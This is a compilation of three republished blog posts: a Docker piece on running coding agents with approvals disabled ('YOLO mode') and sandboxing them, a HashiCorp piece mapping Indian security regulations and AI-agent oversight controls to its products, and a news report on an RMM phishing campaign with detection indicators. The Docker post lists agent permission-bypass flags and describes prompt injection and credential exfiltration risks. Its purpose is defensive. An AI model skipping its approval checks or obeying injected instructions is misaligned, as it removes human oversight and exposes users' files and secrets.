YOLO mode is the community nickname for running an AI agent with every action auto-approved. When turned on, agents can read files, write code, run shell commands, and call tools without stopping for user approval. While in Claude Code it’s the –dangerously-skip-permissions flag, other common agents each have their own version of the same switch.

• Codex CLI has `–full-auto`, plus `–dangerously-bypass-approvals-and-sandbox` when you drop the sandbox too.
• Gemini CLI uses `–yolo`, or the Ctrl+Y toggle mid-session.
• GitHub Copilot CLI has `–allow-all`, also aliased as `–yolo`.
• Cursor exposes it as auto-run in settings rather than a flag.

The names differ, but the behavior is the same: remove the prompts and let the agent go. 

YOLO mode showed up in Cursor first, then Claude Code, and by 2026 it’s a standard toggle in most coding agents. But when people ask what YOLO mode is, they’re usually asking whether they should use it, and the answer is that it depends entirely on where the agent is running.

Why developers turn it on

On a regular task, a careful agent asks for permission constantly. “Can I edit this file, run this test, install this package, call this tool?” 

Dozens of prompts for one feature. While these constant permission requests can help prevent agents from going rogue, each approval forces you to context switch and breaks the flow that made the agent worth using. A few reasons why developers are leveraging YOLO mode include:

• Context switching: Every approval pulls a developer out of their flow, taxing mental focus and overall productivity. 
• Prompt fatigue: Excessive querying, refinement, and approvals force creative coding to take a back seat to tedious prompt wrangling and debugging.  
• Low-risk, routine work: Agents can often handle repetitive tasks that would otherwise take developers away from creative coding and innovation. 
• Momentum: An agent is most useful when it has the freedom to keep moving, but a steady stream of prompts breaks that.

If you turn approvals off, these friction points disappear for the most part, and the agent can deliver the speed it promised. But what’s the cost of giving agents the autonomy of YOLO mode?

Why is YOLO mode risky?

When you remove the prompts, you remove the last human check before an action runs, which amplifies the security risks agents already carry. If the agent is working directly on your host, that action has the full run of your machine, including your files, environment variables, credentials, and network. A confused or compromised agent can do a significant amount of damage when nothing stands between an agent’s decision and your system.

On an unprotected host, YOLO mode introduces risks such as:

• Destructive commands: A vague or mistaken instruction runs something like rm -rf against the wrong directory, and nothing pauses to catch it.
• Secret and credential exposure: The agent can read environment variables, .ssh keys, tokens, and .env files, then use or leak them.
• Prompt injection: The agent acts on whatever it reads, so a hidden instruction in a web page, an issue, a code comment, or a document can redirect it, and the attacker never needs access to your machine.
• Data exfiltration: A mistaken or hijacked agent sends sensitive data out over the network.
• Unintended broad changes: Edits and config changes reach past the task at hand into your other projects.
• Network and lateral reach: The agent can hit internal endpoints and outside services, or act with your credentials to push code and call APIs.

And unfortunately, keeping manual approvals on doesn’t remove all risk. Once permission fatigue kicks in, it can be all too easy to accidentally approve the wrong request. So the safeguard belongs in the environment the agent runs in, where a bad command or a tired click has a greatly reduced scope of impact.

The fix isn’t fewer permissions, it’s a boundary

If prompts aren’t the answer, what is? A boundary the agent can’t cross. Guardrails only work when something outside the agent enforces them. The agent needs a bounding box, with constraints set before it runs and clear limits on what it can touch. Inside that box, it should be free to move as fast as it wants. The goal is to shape the environment so that a mistake can’t damage your systems or leak your secrets.

In practice, that means running the agent in an isolated, ephemeral environment instead of on your host. Done well, the agent gets a real place to work. It can install packages, run services, and edit files, but it can’t see your credentials, reach your other projects, or touch the host.

Unlike a container that shares the host kernel, a microVM puts a hardware-level boundary around the agent, so the isolation holds even if the agent tries to break out, and it does that without the speed penalty people expect. If a run goes sideways, you destroy the environment and start clean. This is the core idea behind sandbox security and why agents need isolation in the first place.

What does YOLO mode look like at scale?

For one developer on a sandboxed laptop, YOLO mode is a personal choice. Across a team, it becomes a policy question. A hundred developers each deciding on their own when to skip permissions is the ungoverned-autonomy problem that keeps security leaders up at night. The picture that works at scale is one where the safe path is the default. Every agent runs inside an isolated, disposable environment, configured once at the organization level so it holds for everyone.

This is the problem AI Governance is built to solve. You define the rules once across the surfaces that matter, network access, the filesystem, and the tools an agent can reach, then enforce them automatically at every developer’s machine. Governance turns a per-developer judgment call into a consistent, repeatable capability. Clear boundaries are what let an organization extend autonomy to its agents while keeping the risk contained. Once the boundary is standard, YOLO mode is fast and safe for everyone.

What it unlocks for developers

Once the boundary is in place, the developer can stop supervising every step, and the payoff kicks in:

• Deep focus: Give direction, step away, and come back to a cloned repo, passing tests, and an open pull request. No interruptions pulling you off your own work.
• Long, autonomous runs: The agent edits, runs the tests, reads the failures, and retries until the task is done, the kind of run a wall of prompts would stall.
• Agents in parallel: Point several at different tasks, each in its own disposable environment, and let them run at once.
• You review the outcome: Your job moves up to the pull request, the tests, and the diff, where your judgment matters most.

That’s the real appeal, and the sandbox is what makes it safe to lean on.

Unlock agent autonomy, safely

YOLO mode is really a question in disguise. How much autonomy can you give an agent before the risk outweighs the speed? Framed that way, the answer stops being about the agent and starts being about its environment. Give an agent the run of your laptop and even a small mistake is expensive. But give it a boundary it can’t cross and you get the speed with almost none of the exposure.

That’s exactly what Docker Sandboxes is built for. Each agent runs in its own disposable microVM with control over networking, filesystem access, and resource limits, so you can run agents in YOLO mode safely from day one. For teams that want those boundaries applied consistently rather than agent by agent, Docker AI Governance sets and enforces the rules everywhere developers work. Define the box. Then let the agent go as fast as it likes.

Get started with Docker Sandboxes → 

Explore Docker AI Governance →

Frequently asked questions

Is YOLO mode safe?

It depends entirely on where the agent runs. On your host machine, YOLO mode is risky, because a mistake or a prompt injection can reach your files and credentials. Inside an isolated, disposable environment with scoped access and no real secrets, the blast radius is contained and YOLO mode is reasonable to use.

What does –dangerously-skip-permissions do in Claude Code?

It turns off the confirmation prompts, so Claude Code reads, writes, runs commands, and calls tools without asking for approval at each step. It trades the safety of human review for speed. It’s the most common way people run Claude Code in YOLO mode.

How do I use YOLO mode safely?

Run the agent inside an isolated sandbox rather than on your main machine, give it scoped network access and throwaway credentials instead of your real ones, work against a cloned or disposable copy of your project, and keep a way to inspect what it did. The goal is a boundary the agent can’t cross, not a more careful set of prompts.

Is auto mode the same as YOLO mode?

Not exactly. Full YOLO mode approves everything. Some tools now offer a classifier-gated auto mode that runs safe actions automatically while still blocking or flagging dangerous ones. That’s a useful middle ground, but it’s a filter on top of the agent, not a boundary around it. Isolation still matters.

from Docker https://ift.tt/GsdxoST
via IFTTT

The common security controls behind India's regulatory wave

India’s security and privacy rulebook has changed quickly. But beneath the new layers of requirements, a common control set is emerging: encryption, tokenization and masking, least-privilege access, audit logging and retention, and controls for keeping regulated data inside India. 

Over the last decade, India has strengthened several major security and privacy requirements, including the Digital Personal Data Protection (DPDP) Rules, the Securities and Exchange Board of India’s (SEBI) Cybersecurity and Cyber Resilience Framework (CSCRF), the Indian Computer Emergency Response Team’s (CERT-In) cybersecurity directions, and the Reserve Bank of India’s (RBI) payment data localization mandate. For organizations operating in India, especially in banking, financial services, payments, or the securities markets, these obligations now stack across regulators, deadlines, and enforcement regimes.  

It’s tempting to treat each one as a separate compliance project, staffed and solved on its own track. But line the technical requirements up, and a recognizable pattern emerges. Collectively, the mandate is clear: The sensitive data, and the credentials that protect it, should be looked after from creation to deletion, reachable only by those who genuinely need them, with a provable record of who touched what. 

This post focuses exclusively on the security control aspects of the frameworks discussed and should not be considered as compliance assessment. The content is provided solely for informational purposes and should not be construed as legal advice and/or regulatory advisory. Organizations should conduct their own legal and compliance assessments before relying on or taking any action based on the information contained herein. This highlights areas where HashiCorp Vault, with support from HashiCorp Boundary and Hashicorp Consul, may be considered when addressing common controls for secrets, encryption, access, auditability, and service-to service protection. Consent, notice, data-principal rights, and other legal obligations are out of scope. 

Four frameworks, one direction

DPDP Rules: Security safeguards

The DPDP Rules were notified in November 2025, with phased commencement dates. Any organization that determines why and how the digital personal data of people in India is processed may be impacted, regardless of industry. The fines are serious. Failing to put reasonable security safeguards in place can draw a penalty of up to ₹250 crore. For most boards, a number that size is what escalates data security from an IT task into an enterprise-risk concern.  

Companies need to be focused on several key areas that any security architect would recognize, including but not limited to:  

• Protecting personal data using measures such as encryption, obfuscation, masking, or virtual tokens mapped to that personal data 

• Controlling access to the systems that hold personal data 

• Keeping visibility on access through logs, monitoring, and review 

• Maintaining backups for continued processing 

• Retaining logs and personal data for one year 

SEBI CSCRF: Cybersecurity for regulated entities

Issued by SEBI in August 2024, the Cybersecurity and Cyber Resilience Framework created one standard built around five resilience goals: anticipate, withstand, contain, recover, and evolve. It reaches across the securities market — stock exchanges, clearing corporations, depositories, mutual funds, portfolio managers, alternative investment funds, stockbrokers, and KYC registration agencies — with requirements scaled to each entity’s size and risk.  

CERT-In directions: Stringent reporting requirement

Effective June 2022, CERT-In’s directions come down to two core requirements: better observability and faster incident reporting. And they apply to a very wide net: service providers, intermediaries, data centers, body corporates, and government organizations. Notably, covered entities must report specified cyber incidents in accordance with the timelines stipulated under CERT-In. A single incident can also trigger reporting requirements for both CERT-In and DPDP.

RBI: Data localization and IT security directions 

In 2018, the RBI-mandated payment data must be stored only in India. And where any processing happens abroad, the data must be brought back within 24 hours. It applies to payment system operators and the providers in their chain. This was a turning point, and the rules have only expanded since.  

Table 1. The frameworks at a glance 

Framework	Applies to	Deadline	Technical mandates
DPDP Rules 2025	Any data fiduciary handling digital personal data of people in India	Rule 6 safeguards enforceable May 13, 2027	Encryption; masking or virtual tokens; access control; logging with one-year retention; backups
SEBI CSCRF	Securities market- regulated entities — exchanges, depositories, mutual funds, brokers, and others	Most REs August 31, 2025; HSM for qualified REs June 30, 2025 (SEBI cloud-services framework)	Encryption at rest and in transit; data in India; SOC and SIEM with 24/7 monitoring; VAPT; HSM
CERT-In directions 2022	Service providers, intermediaries, data centers, body corporates, government organizations	In force since June 27, 2022	Report incidents within six hours; 180-day ICT logs stored in India; NTP time-sync
RBI directions	Payment system operators, banks, and NBFCs	Payment data localization since 2018; IT-governance direction April 1, 2024	Payment data stored only in India; strong cryptography, access controls, audit trails; MFA; WAF and DDoS protection

<p></p>

Different regulators, different deadlines, different penalties. Underneath, the same handful of technical controls. The below image shows how HashiCorp can help:   

The common control emergence

Across many of the key rules and requirements, the same five controls come up: 

• Encryption of data at rest and in transit, so intercepted or stolen data is unreadable 

• Tokenization or masking of sensitive fields, so the data flowing through your systems isn’t the real thing in the first place 

• Least-privilege access, so people, applications, and partners reach only what they need, only for as long as they need it 

• Audit logging with monitoring and retention, so every access is visible and reviewable after the fact 

• Data residency, so regulated data and logs stay inside India 

Build each well, and companies answer many of their compliance challenges at once.  

Vault in the context of control set

Vault is an identity-based secrets and encryption platform, a single audited place to store credentials and keys, encrypt and tokenize data, and control who can do what. It is not a compliance product, and it is not a database that holds all your personal data. It protects the secrets, keys, and sensitive fields routed through it and records every interaction. Vault can help organizations implement several of these controls through:

Encryption: Sensitive data encrypted at rest and in transit, using strong, current algorithms

Vault’s Transit engine offers encryption as a service. An application sends Vault a piece of plaintext and gets back ciphertext. The encryption keys themselves never leave Vault and are never exposed to the application. That means developers don’t have to implement cryptography themselves or manage raw keys in their code — a common source of mistakes — and the organization can rotate keys and re-encrypt centrally.

Tokenization and masking: Sensitive values swapped for tokens that mean nothing on their own

Vault’s Transform engine — a Vault Enterprise and HCP feature — does tokenization, format-preserving encryption, and data masking. Tokenization swaps a real value, such as an account or identity number, for a token that systems can store and pass around freely, while the real value stays locked away in Vault. Format-preserving encryption keeps the shape of the data — a 12-digit number stays a 12-digit number, for example — so it still fits existing databases and screens.  

Least-privilege access: Access to sensitive systems and data restricted to authorized identities, on a need-to-know basis 

Vault is deny-by-default. Policies grant a named identity access to exactly the paths it needs and nothing more. Vault can also issue dynamic secrets. Instead of a long-lived database password shared across an application fleet, Vault generates a unique, short-lived credential on request and automatically revokes it when its lease ends. A credential that exists for an hour and is tied to one identity is a much smaller risk than a static password that lives for years.  

Audit logging and retention: A visible, reviewable record of who accessed sensitive data and when, retained for a defined period

Vault’s audit devices records authenticated requests, including which identity accessed which path, whether the request succeeded, and where it came from. To support regulatory retention and investigation requirements, organizations should stream those events to a SIEM or log platform configured for the required retention period, access controls, and tamper-resistant storage.  

Hardware-backed keys: Dedicated hardware security module and strong cryptographic standards 

Vault Enterprise integrates with hardware security modules and supports architectures that need to remain compliant with the Federal Information Processing Standards (FIPS). An HSM can guard Vault’s own root of trust — the key that unseals Vault — so even someone with the storage disks cannot read what Vault protects.  

A closer look: API key security and the secrets lifecycle

Controls rarely arrive alone. Instead, a single, ordinary process usually pulls several of them together at once. The clearest example is an industry-specific use case: the API keys a bank gives to its partners.  

When a bank exposes APIs to partners, they authenticate with API keys — long-lived, high-value credentials that, if leaked, can be used to impersonate a trusted partner. India’s rules treat such credentials the way they treat any sensitive secret. The RBI’s IT governance direction expects strong cryptographic controls, restricted access, and audit trails around credentials and the systems that use them. It’s digital payment security direction adds web application firewall and DDoS protection in front of internet-exposed services.  

Exploring the role of Vault

Vault implements that lifecycle as a platform capability, so a single deployment can answer the same control across multiple mandates: 

• Secure storage. Keys and secrets are encrypted at rest inside Vault and never sit in application code or config files, meeting the “stored securely” expectation directly. 

• Rotation. Vault can rotate keys automatically on a set schedule, keeping the old key valid until the new one is fully in use, so you can rotate often without breaking partner traffic. 

• Least-privilege access. Fine-grained policies set exactly which identity can read which secret, so each one reaches only what it needs — the need-to-know rule these frameworks expect. 

• Gateway-fronted, not partner-facing. Partners never touch Vault directly. The API gateway sits in front of it, and one Vault identity serves the whole partner tier, so Vault stays behind the gateway and firewall the rules ask for, and you manage one Vault client instead of one per partner. 

• Tamper-evident audit. Every access and rotation is recorded in Vault’s audit log, giving the “who did what, when” evidence auditors ask for; you can tag each entry with the partner it relates to, without creating a separate identity for each partner. 

Agentic AI security: Extending the controls to non-human identities

AI agents create a familiar security problem in a new form: They are non-human identities that may need credentials, access to sensitive systems, and an auditable record of what they did. 

As regulated organizations begin using agents to retrieve data, call APIs, trigger workflows, or act on a user’s behalf, the same controls already required for people, applications, and API keys need to extend to agents as well. If an agent touches personal data, moves money, or participates in a regulated workflow, organizations need to know which identity was acting, what it was allowed to do, which credentials it used, and how its actions can be traced back to the right user, system, or approval. 

That makes the control questions practical:  

• Who or what is the agent?  

• What is it allowed to access right now?  

• Which credential or secret did it use? 

• What action did it take, and on whose behalf?  

• How can one agent be revoked, contained, or investigated without disrupting the rest of the environment?  

Vault and IBM Verify in the context of agent controls

To help answer the questions, HashiCorp and IBM put together a runtime security pattern organized around four pillars:  

• Identity. Every agent gets its own verifiable identity instead of sharing a service account. Vault hands out short-lived credentials unique to each agent. No standing secrets, and no sharing API keys. 

• Least and runtime containment. Each action is checked when it happens, not waved through in advance. A policy as code check like Sentinel, for example, reviews each action. High-impact ones trigger a step-up approval to the delegating human through Verify before the call is made, and the resulting credential is tied to that one action for that one user. A misbehaving agent can be shut off on its own through Vault without impacting other agents. 

• Traceability. Using standard delegation flows, Verify links every action an agent takes back to the human who asked for it. Nothing the agent does is left untraceable. 

• Observability. With a tamper-evident trail — Vault’s audit log plus Verify’s event log, fed to the SIEM — there’s one place to know which user, which agent, what tool, what intent, and what outcome. 

Organizations don’t need a separate “AI security” program. They need their existing identity, secrets lifecycle, policy, and audit controls — the ones DPDP, CSCRF, and the RBI already require — extended to agents as first-class non-human identities. Same controls, new identity type. 

Beyond Vault: Boundary and Consul

Access and encryption in transit are handled by two other HashiCorp products:  

Boundary provides identity-based access. Where Vault secures the secrets, Boundary secures the path a human or machine takes to reach infrastructure. Access is brokered by identity, credentials can be injected from Vault rather than handed to the user, and sessions are auditable. In plain terms, an operator can connect to a production database without ever seeing the password and without a standing network route to it.  

Consul handles service-to-service networking. A service mesh enforces mutual transport layer security (TLS) between services, encrypting the traffic that moves between your applications and tying each connection to a verified service identity. That covers the part of “encryption in transit” that lives inside systems, not just at the edge, and adds an access control layer at the network level. 

If the goal is to navigate India’s frameworks with a coherent toolset rather than a patchwork, the winning alignment is Vault for secrets and encryption, Boundary for access, and Consul for service networking. 

Next steps

The work of building encryption, tokenization, least-privilege access, audit logging, and residency only needs to be done once. Designed against the common control set, strong secrets and identity strategy can help address multiple regulatory requirements through one coherent operating model.  

If you’d like help applying this to your environment, talk to the team at HashiCorp. 

Related resources 

• HashiCorp Vault 

• Vault transit secrets engine (encryption as a service) 

• Vault transform secrets engine (tokenization and masking — Enterprise/HCP) 

• Vault policies and access control 

• Support regulatory compliance with Vault 

• HCP Vault Dedicated logs and metrics 

• HashiCorp trust and compliance center 

• Agentic runtime security: Solving agentic AI identity and access gaps 

• Announcing native AI agent support in HashiCorp Vault 

• SPIFFE: Securing the identity of agentic AI and non-human actors 

• HashiCorp Boundary 

• HashiCorp Consul 

 

Disclaimer: Clients are solely responsible for assessing and meeting their own legal, regulatory, and compliance obligations. IBM does not provide legal advice, and no IBM product, service, or statement should be construed as guaranteeing compliance with any law, regulation, or regulatory requirement.  

No product or system is completely secure; IBM does not warrant immunity from malicious or illegal conduct.  

from HashiCorp Blog https://ift.tt/q7JwSQv
via IFTTT

US Becomes Top Target in RMM Phishing Campaign Spanning 46 Countries

An RMM phishing campaign initially associated with Canadian targeting due to its use of Canada Revenue Agency (CRA) tax forms as lures has turned out to be part of a broader campaign spanning 46 countries.

Around 45% of observed activity was associated with the United States, making it the campaign's top geographic target. ANY.RUN research connected 601 cases to the wider operation, which uses fake documents to trick victims into installing legitimate remote monitoring and management (RMM) software.

The attackers adapt their lures to different targets, using shipping and UPS communications, Adobe PDFs, tax notices, US Social Security Administration themes, invoices, and other documents. Rapidly rotated, disposable Vercel infrastructure makes the campaign harder to track and detect.

US-First Threat with Daily Infrastructure Rotation

Threat overview by ANY.RUN

The campaign’s infrastructure changes significantly faster than its attack pattern. ANY.RUN researchers identified 425 kit URLs across 240 hosts, 94% of which were observed for only a single day.

The operation has used Vercel, GitHub Pages, Netlify, compromised websites, and other infrastructure for delivery. Payloads have also been staged through services including Amazon S3, Cloudflare R2, GitHub, DigitalOcean Spaces, Dropbox, and GoFile.

Despite this rapid rotation, the phishing kit leaves more persistent fingerprints. Shared assets such as font1.woff2, recurring image resources, and the secure.html → project/*.zip delivery structure helped researchers connect otherwise separate infrastructure to the same campaign.

Education, technology, and government are among the top targeted industries. Banking, finance, and manufacturing are also prominently present.

Attack chain overview by ANY.RUN

Individual domains and RMM products are disposable, while the underlying delivery chain is more stable. This shows why detection cannot depend solely on malware verdicts, reputation, or individual IOCs.

To detect these patterns and distinguish legitimate RMM use from abuse, SOC teams need access to the full behavioral context behind suspicious activity.

Respond faster and reduce risk in your company with deeper visibility and intel from 16K+ organizations. Power your SOC with ANY.RUN

Key Detection Takeaways for SOC Teams

• Build a product-agnostic defense: legitimate software can be abused and switched between vendors, leading to visibility gaps. Maintain focus on delivery chain and unauthorized remote-access activity.
• Detect around campaign patters: Instead of relying only on domains, which in this campaign get rotated daily, prioritize more stable kit indicators, including the fmtt / font1.woff2, icons8-microsoft-word-94.png asset, and the secure.html → project/*.zip chain.
• Establish mail-layer controls and raise user awareness: SOC teams should account for password-protected archive delivery.
• Give analysts behavioral and threat context: ANY.RUN's Interactive Sandbox exposed the campaign's browser activity, scripts, processes, downloads, and network behavior, while Threat Intelligence Lookup connected persistent indicators to related infrastructure and cases.

One of the lures, an Adobe phishing page, analyzed within ANY.RUN Interactive Sandbox

As attackers increasingly combine legitimate software, trusted services, and disposable infrastructure, security teams need to access and operationalize in-depth threat context.

Found this article interesting? This article is a contributed piece from one of our valued partners. Follow us on Google News, Twitter and LinkedIn to read more exclusive content we post.

from The Hacker News https://ift.tt/3VjaEyX
via IFTTT